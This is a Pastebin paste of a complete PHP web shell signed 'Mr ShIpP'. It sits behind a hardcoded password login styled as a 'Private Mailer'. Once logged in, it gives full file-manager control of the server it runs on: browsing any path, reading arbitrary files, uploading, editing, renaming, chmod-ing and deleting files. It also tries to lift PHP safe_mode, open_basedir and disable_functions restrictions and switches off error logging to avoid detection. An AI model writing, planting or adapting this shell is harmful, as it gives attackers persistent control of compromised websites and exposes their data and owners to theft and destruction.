Advertisement
blackerr

galer2

Oct 8th, 2017
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.71 KB | None | 0 0
  1. <?
  2.  
  3. //Change User & Password
  4.  
  5. $tacfgd['uname'] = 'Mrshipp';
  6. $tacfgd['pword'] = 'zutsu';
  7.  
  8.  
  9. // Title of page.
  10. $tacfgd['title'] = 'By Mr ShIpP';
  11.  
  12. // Text to appear just above login form.
  13. $tacfgd['helptext'] = 'Login to Script';
  14.  
  15.  
  16. // Set to true to enable the optional remember-me feature, which stores encrypted login details to
  17. // allow users to be logged-in automatically on their return. Turn off for a little extra security.
  18. $tacfgd['allowrm'] = true;
  19.  
  20. // If you have multiple protected pages, and there's more than one username / password combination,
  21. // you need to group each combination under a distinct rmgroup so that the remember-me feature
  22. // knows which login details to use.
  23. $tacfgd['rmgroup'] = 'default';
  24.  
  25. // Set to true if you use your own sessions within your protected page, to stop txtAuth interfering.
  26. // In this case, you _must_ call session_start() before you require() txtAuth. Logging out will not
  27. // destroy the session, so that is left up to you.
  28. $tacfgd['ownsessions'] = false;
  29.  
  30.  
  31.  
  32.  
  33. foreach ($tacfgd as $key => $val) {
  34. if (!isset($tacfg[$key])) $tacfg[$key] = $val;
  35. }
  36.  
  37. if (!$tacfg['ownsessions']) {
  38. session_name('txtauth');
  39. session_start();
  40. }
  41.  
  42. // Logout attempt made. Deletes any remember-me cookie as well
  43. if (isset($_GET['logout']) || isset($_POST['logout'])) {
  44. setcookie('txtauth_'.$rmgroup, '', time()-86400*14);
  45. if (!$tacfg['ownsessions']) {
  46. $_SESSION = array();
  47. session_destroy();
  48. }
  49. else $_SESSION['txtauthin'] = false;
  50. }
  51. // Login attempt made
  52. elseif (isset($_POST['login'])) {
  53. if ($_POST['uname'] == $tacfg['uname'] && $_POST['pword'] == $tacfg['pword']) {
  54. $_SESSION['txtauthin'] = true;
  55. if ($_POST['rm']) {
  56. // Set remember-me cookie for 2 weeks
  57. setcookie('txtauth_'.$rmgroup, md5($tacfg['uname'].$tacfg['pword']), time()+86400*14);
  58. }
  59. }
  60. else $err = 'Roh Ta3ti !';
  61. }
  62. // Remember-me cookie exists
  63. elseif (isset($_COOKIE['txtauth_'.$rmgroup])) {
  64. if (md5($tacfg['uname'].$tacfg['pword']) == $_COOKIE['txtauth_'.$rmgroup] && $tacfg['allowrm']) {
  65. $_SESSION['txtauthin'] = true;
  66. }
  67. else $err = 'Login Faild !';
  68. }
  69. if (!$_SESSION['txtauthin']) {
  70. @ini_restore("safe_mode");
  71. @ini_restore("open_basedir");
  72. @ini_restore("safe_mode_include_dir");
  73. @ini_restore("safe_mode_exec_dir");
  74. @ini_restore("disable_functions");
  75. @ini_restore("allow_url_fopen");
  76.  
  77. @ini_set('error_log',NULL);
  78. @ini_set('log_errors',0);
  79. ?>
  80. <html dir=rtl>
  81. <head>
  82. <meta http-equiv="Content-Type" content="text/html; charset=windows-1256">
  83. <title>Private Mailer By Mr ShIpP</title>
  84.  
  85. <STYLE>
  86.  
  87. BODY
  88. {
  89. SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #666666; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456
  90. }
  91.  
  92. tr {
  93. BORDER-RIGHT: #dadada ;
  94. BORDER-TOP: #dadada ;
  95. BORDER-LEFT: #dadada ;
  96. BORDER-BOTTOM: #dadada ;
  97. color: #ffffff;
  98. }
  99. td {
  100. BORDER-RIGHT: #dadada ;
  101. BORDER-TOP: #dadada ;
  102. BORDER-LEFT: #dadada ;
  103. BORDER-BOTTOM: #dadada ;
  104. color: #00FF33;
  105. }
  106. .table1 {
  107. BORDER: 1;
  108. BACKGROUND-COLOR: #000000;
  109. color: #333333;
  110. }
  111. .td1 {
  112. BORDER: 1;
  113. font: 7pt tahoma;
  114. color: #ffffff;
  115. }
  116. .tr1 {
  117. BORDER: 1;
  118. color: #dadada;
  119. }
  120. table {
  121. BORDER: #eeeeee outset;
  122. BACKGROUND-COLOR: #000000;
  123. color: #dadada;
  124. }
  125. input {
  126. BORDER-RIGHT: #00FF00 1 solid;
  127. BORDER-TOP: #00FF00 1 solid;
  128. BORDER-LEFT: #00FF00 1 solid;
  129. BORDER-BOTTOM: #00FF00 1 solid;
  130. BACKGROUND-COLOR: #000000;
  131. font: 9pt Comic Sans MS;
  132. color: #73FF00;
  133. }
  134. select {
  135. BORDER-RIGHT: #ffffff 1 solid;
  136. BORDER-TOP: #999999 1 solid;
  137. BORDER-LEFT: #999999 1 solid;
  138. BORDER-BOTTOM: #ffffff 1 solid;
  139. BACKGROUND-COLOR: #000000;
  140. font: 9pt tahoma;
  141. color: #dadada;;
  142. }
  143. submit {
  144. BORDER: buttonhighlight 1 outset;
  145. BACKGROUND-COLOR: #272727;
  146. width: 40%;
  147. color: #dadada;
  148. }
  149. textarea {
  150. BORDER-RIGHT: #ffffff 1 solid;
  151. BORDER-TOP: #999999 1 solid;
  152. BORDER-LEFT: #999999 1 solid;
  153. BORDER-BOTTOM: #ffffff 1 solid;
  154. BACKGROUND-COLOR: #333333;
  155. font: Fixedsys bold;
  156. color: #ffffff;
  157. }
  158. BODY {
  159. margin: 1;
  160. color: #FFFC00;
  161. background-color: #000000;
  162. }
  163. A:link {COLOR:red; TEXT-DECORATION: none}
  164. A:visited { COLOR:red; TEXT-DECORATION: none}
  165. A:active {COLOR:red; TEXT-DECORATION: none}
  166. A:hover {color:blue;TEXT-DECORATION: none}
  167.  
  168. </STYLE>
  169. <script language=\'javascript\'>
  170. function hide_div(id)
  171. {
  172. document.getElementById(id).style.display = \'none\';
  173. document.cookie=id+\'=0;\';
  174. }
  175. function show_div(id)
  176. {
  177. document.getElementById(id).style.display = \'block\';
  178. document.cookie=id+\'=1;\';
  179. }
  180. function change_divst(id)
  181. {
  182. if (document.getElementById(id).style.display == \'none\')
  183. show_div(id);
  184. else
  185. hide_div(id);
  186. }
  187. </script>';
  188.  
  189. <body>
  190. <br><br><div style="font-size: 14pt;" align="center"><?=$tacfg['title'] ?></div>
  191. <hr width="300" size="1" noshade color="#cdcdcd">
  192. <p>
  193. <div align="center" class="grey">
  194. <?=$tacfg['helptext'] ?>
  195. </div>
  196. <p>
  197. <?
  198. if (isset($_SERVER['REQUEST_URI'])) $action = $_SERVER['REQUEST_URI'];
  199. else $action = $_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];
  200. if (strpos($action, 'logout=1', strpos($action, '?')) !== false) $action = str_replace('logout=1', '', $action);
  201. ?>
  202. <form name="txtauth" action="<?=$action
  203. ?>" method="post">
  204. <div align="center">
  205. <table border="0" cellpadding="4" cellspacing="0" bgcolor="#666666" style="border: 1px double #dedede;" dir="ltr">
  206. <?=(isset($err)) ? '<tr><td colspan="2" align="center"><font color="red">' . $err . '</font></td></tr>' : '' ?>
  207. <?if (isset($tacfg['uname'])) {?>
  208. <tr><td>Username:</td><td><input type="text" name="uname" value="" size="20" maxlength="100" class="txtbox"></td></tr>
  209. <?}?>
  210. <tr><td>Password:</td><td><input type="password" name="pword" value="" size="20" maxlength="100" class="txtbox"></td></tr>
  211. <?if ($tacfg['allowrm']) {?>
  212. <tr><td align="left"><input type="submit" name="login" value="Login">
  213. </td><td align="right"><input type="checkbox" name="rm" id="rm"><label for="rm">
  214. Remember Me ?</label></td></tr>
  215. <?} else {?>
  216. <tr><td colspan="2" align="center">
  217. <input type="submit" name="login" value="Login"></td></tr>
  218. <?}?>
  219. </table>
  220. </div>
  221. </form>
  222.  
  223. <p>&nbsp;</p>
  224.  
  225. </body>
  226. </html>
  227. <?
  228. // Don't delete this!
  229. exit();
  230. }
  231. ?>
  232.  
  233. <?php
  234. set_time_limit(0);
  235. error_reporting(0);
  236.  
  237. if(get_magic_quotes_gpc()){
  238. foreach($_POST as $key=>$value){
  239. $_POST[$key] = stripslashes($value);
  240. }
  241. }
  242. echo '<!DOCTYPE HTML>
  243. <HTML>
  244. <HEAD>
  245. <link href="" rel="stylesheet" type="text/css">
  246. <title>Mr Ship</title>
  247. <body bgcolor="#000000" text="#FFFFFF">
  248. <style>
  249. body{
  250. font-family: "Racing Sans One", cursive;
  251. background-color: #000000;
  252. text-shadow:0px 0px 1px #99999;
  253. }
  254. #content tr:hover{
  255. background-color: #636263;
  256. text-shadow:0px 0px 10px #fff;
  257. }
  258. #content .first{
  259. background-color: silver;
  260. }
  261. #content .first:hover{
  262. background-color: silver;
  263. text-shadow:0px 0px 1px #757575;
  264. }
  265. table{
  266. border: 1px #FFFFFF dotted;
  267. }
  268. H1{
  269. font-family: "Rye", cursive;
  270. }
  271. a{
  272. color: #FCFF00;
  273. text-decoration: none;
  274. }
  275. a:hover{
  276. color: #4AFDFF;
  277. text-shadow:0px 0px 10px #ffffff;
  278. }
  279. input,select,textarea{
  280. border: 1px #FFFFFF solid;
  281. -moz-border-radius: 5px;
  282. -webkit-border-radius:5px;
  283. border-radius:5px;
  284. }
  285. </style>
  286. </HEAD>
  287. <BODY>
  288. <H1><center>[#] Fucker File [#] </center></H1>
  289. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  290. <tr><td> <font color="red">Current Path :</font> ';
  291. if(isset($_GET['path'])){
  292. $path = $_GET['path'];
  293. }else{
  294. $path = getcwd();
  295. }
  296.  
  297. $path = str_replace('\\','/',$path);
  298. $paths = explode('/',$path);
  299.  
  300. foreach($paths as $id=>$pat){
  301. if($pat == '' && $id == 0){
  302. $a = true;
  303.  
  304. echo '<a href="?path=/">/</a>' ;
  305. continue;
  306. }
  307.  
  308. if($pat == '') continue;
  309. echo '<a href="?path=';
  310. for($i=0;$i<=$id;$i++){
  311. echo "$paths[$i]";
  312. if($i != $id) echo "/";
  313. }
  314. echo '">'.$pat.'</a>/';
  315. }
  316. echo '</td></tr><tr><td>';
  317. if(isset($_FILES['file'])){
  318. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  319. echo '<font color="green">File Upload Done Kakak ~_^ .</font><br />';
  320. }else{
  321. echo '<font color="red">File Upload Error ~_~.</font><br />';
  322. }
  323. }
  324. echo '<form enctype="multipart/form-data" method="POST">
  325. <font color="Lime">Upload File :</font> <input type="file" name="file" />
  326. <input type="submit" value="upload" />
  327. </form>
  328. </td></tr>';
  329. if(isset($_GET['filesrc'])){
  330. echo "<tr><td>Current File : ";
  331. echo $_GET['filesrc'];
  332. echo '</tr></td></table><br />';
  333. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  334. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  335. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  336. if($_POST['opt'] == 'chmod'){
  337. if(isset($_POST['perm'])){
  338. if(chmod($_POST['path'],$_POST['perm'])){
  339. echo '<font color="green">Change Permission Done.</font><br />';
  340. }else{
  341. echo '<font color="red">Change Permission Error.</font><br />';
  342. }
  343. }
  344. echo '<form method="POST">
  345. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  346. <input type="hidden" name="path" value="'.$_POST['path'].'">
  347. <input type="hidden" name="opt" value="chmod">
  348. <input type="submit" value="Go" />
  349. </form>';
  350. }elseif($_POST['opt'] == 'rename'){
  351. if(isset($_POST['newname'])){
  352. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  353. echo '<font color="green">Change Name Done.</font><br />';
  354. }else{
  355. echo '<font color="red">Change Name Error.</font><br />';
  356. }
  357. $_POST['name'] = $_POST['newname'];
  358. }
  359. echo '<form method="POST">
  360. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  361. <input type="hidden" name="path" value="'.$_POST['path'].'">
  362. <input type="hidden" name="opt" value="rename">
  363. <input type="submit" value="Go" />
  364. </form>';
  365. }elseif($_POST['opt'] == 'edit'){
  366. if(isset($_POST['src'])){
  367. $fp = fopen($_POST['path'],'w');
  368. if(fwrite($fp,$_POST['src'])){
  369. echo '<font color="green">Edit File Done ~_^.</font><br />';
  370. }else{
  371. echo '<font color="red">Edit File Error ~_~.</font><br />';
  372. }
  373. fclose($fp);
  374. }
  375. echo '<form method="POST">
  376. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  377. <input type="hidden" name="path" value="'.$_POST['path'].'">
  378. <input type="hidden" name="opt" value="edit">
  379. <input type="submit" value="Go" />
  380. </form>';
  381. }
  382. echo '</center>';
  383. }else{
  384. echo '</table><br /><center>';
  385. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  386. if($_POST['type'] == 'dir'){
  387. if(rmdir($_POST['path'])){
  388. echo '<font color="green">Delete Dir Done.</font><br />';
  389. }else{
  390. echo '<font color="red">Delete Dir Error.</font><br />';
  391. }
  392. }elseif($_POST['type'] == 'file'){
  393. if(unlink($_POST['path'])){
  394. echo '<font color="green">Delete File Done.</font><br />';
  395. }else{
  396. echo '<font color="red">Delete File Error.</font><br />';
  397. }
  398. }
  399. }
  400. echo '</center>';
  401. $scandir = scandir($path);
  402. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  403. <tr class="first">
  404. <td><center>Name</center></td>
  405. <td><center>Size</center></td>
  406. <td><center>Permissions</center></td>
  407. <td><center>Options</center></td>
  408. </tr>';
  409.  
  410. foreach($scandir as $dir){
  411. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  412. echo "<tr>
  413. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  414. <td><center>--</center></td>
  415. <td><center>";
  416. if(is_writable("$path/$dir")) echo '<font color="green">';
  417. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  418. echo perms("$path/$dir");
  419. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  420.  
  421. echo "</center></td>
  422. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  423. <select name=\"opt\">
  424. <option value=\"\"></option>
  425. <option value=\"delete\">Delete</option>
  426. <option value=\"chmod\">Chmod</option>
  427. <option value=\"rename\">Rename</option>
  428. </select>
  429. <input type=\"hidden\" name=\"type\" value=\"dir\">
  430. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  431. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  432. <input type=\"submit\" value=\">\" />
  433. </form></center></td>
  434. </tr>";
  435. }
  436. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  437. foreach($scandir as $file){
  438. if(!is_file("$path/$file")) continue;
  439. $size = filesize("$path/$file")/1024;
  440. $size = round($size,3);
  441. if($size >= 1024){
  442. $size = round($size/1024,2).' MB';
  443. }else{
  444. $size = $size.' KB';
  445. }
  446.  
  447. echo "<tr>
  448. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  449. <td><center>".$size."</center></td>
  450. <td><center>";
  451. if(is_writable("$path/$file")) echo '<font color="green">';
  452. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  453. echo perms("$path/$file");
  454. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  455. echo "</center></td>
  456. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  457. <select name=\"opt\">
  458. <option value=\"\"></option>
  459. <option value=\"delete\">Delete</option>
  460. <option value=\"chmod\">Chmod</option>
  461. <option value=\"rename\">Rename</option>
  462. <option value=\"edit\">Edit</option>
  463. </select>
  464. <input type=\"hidden\" name=\"type\" value=\"file\">
  465. <input type=\"hidden\" name=\"name\" value=\"$file\">
  466. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  467. <input type=\"submit\" value=\">\" />
  468. </form></center></td>
  469. </tr>";
  470. }
  471. echo '</table>
  472. </div>';
  473. }
  474. echo '<br /><font color="MediumSpringGreen">=========================================================================> </font> <font color="Cyan"> Mr Shipp :D </font><font color="MediumSpringGreen"><==============================================================================</font">
  475. </BODY>
  476. </HTML>';
  477. function perms($file){
  478. $perms = fileperms($file);
  479.  
  480. if (($perms & 0xC000) == 0xC000) {
  481. // Socket
  482. $info = 's';
  483. } elseif (($perms & 0xA000) == 0xA000) {
  484. // Symbolic Link
  485. $info = 'l';
  486. } elseif (($perms & 0x8000) == 0x8000) {
  487. // Regular
  488. $info = '-';
  489. } elseif (($perms & 0x6000) == 0x6000) {
  490. // Block special
  491. $info = 'b';
  492. } elseif (($perms & 0x4000) == 0x4000) {
  493. // Directory
  494. $info = 'd';
  495. } elseif (($perms & 0x2000) == 0x2000) {
  496. // Character special
  497. $info = 'c';
  498. } elseif (($perms & 0x1000) == 0x1000) {
  499. // FIFO pipe
  500. $info = 'p';
  501. } else {
  502. // Unknown
  503. $info = 'u';
  504. }
  505.  
  506. // Owner
  507. $info .= (($perms & 0x0100) ? 'r' : '-');
  508. $info .= (($perms & 0x0080) ? 'w' : '-');
  509. $info .= (($perms & 0x0040) ?
  510. (($perms & 0x0800) ? 's' : 'x' ) :
  511. (($perms & 0x0800) ? 'S' : '-'));
  512.  
  513. // Group
  514. $info .= (($perms & 0x0020) ? 'r' : '-');
  515. $info .= (($perms & 0x0010) ? 'w' : '-');
  516. $info .= (($perms & 0x0008) ?
  517. (($perms & 0x0400) ? 's' : 'x' ) :
  518. (($perms & 0x0400) ? 'S' : '-'));
  519.  
  520. // World
  521. $info .= (($perms & 0x0004) ? 'r' : '-');
  522. $info .= (($perms & 0x0002) ? 'w' : '-');
  523. $info .= (($perms & 0x0001) ?
  524. (($perms & 0x0200) ? 't' : 'x' ) :
  525. (($perms & 0x0200) ? 'T' : '-'));
  526.  
  527. return $info;
  528. }
  529.  
  530. ?>
  531.  
  532. </body>
  533.  
  534. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement